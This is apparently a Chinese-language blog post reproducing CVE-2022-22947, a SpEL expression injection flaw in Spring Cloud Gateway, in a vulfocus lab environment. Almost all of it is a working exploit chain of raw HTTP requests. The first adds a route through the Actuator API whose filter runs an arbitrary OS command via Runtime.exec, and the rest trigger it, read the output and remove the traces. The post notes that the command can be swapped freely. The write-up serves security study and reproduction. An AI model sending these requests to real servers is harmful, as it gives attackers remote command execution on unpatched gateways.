簡介

Spring Cloud Gateway是Spring中的一個API閘道器。其3.1.0及3.0.6版本（包含）以前存在一處SpEL表示式注入漏洞，當攻擊者可以訪問Actuator API的情況下，將可以利用該漏洞執行任意命令。

影響範圍：
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7

搭建環境

我直接使用vulfocus裡面的環境
http://vulfocus.io/#/dashboard

漏洞原理

因為本人的程式碼水平有限 我就不關公面前耍大刀了，這是這位大師傅寫的。
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

漏洞復現

開啟環境

1.首先，傳送如下資料包即可新增一個包含惡意SpEL表示式的路由：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
 

如果想要更改執行的命令 只需要更改id這裡

2.傳送資料包將觸發SpEL表示式的執行：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

3.傳送資料包即可檢視執行結果

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

4.送如下資料包清理現場，刪除所新增的路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

重新整理一下路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

借鑑：
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md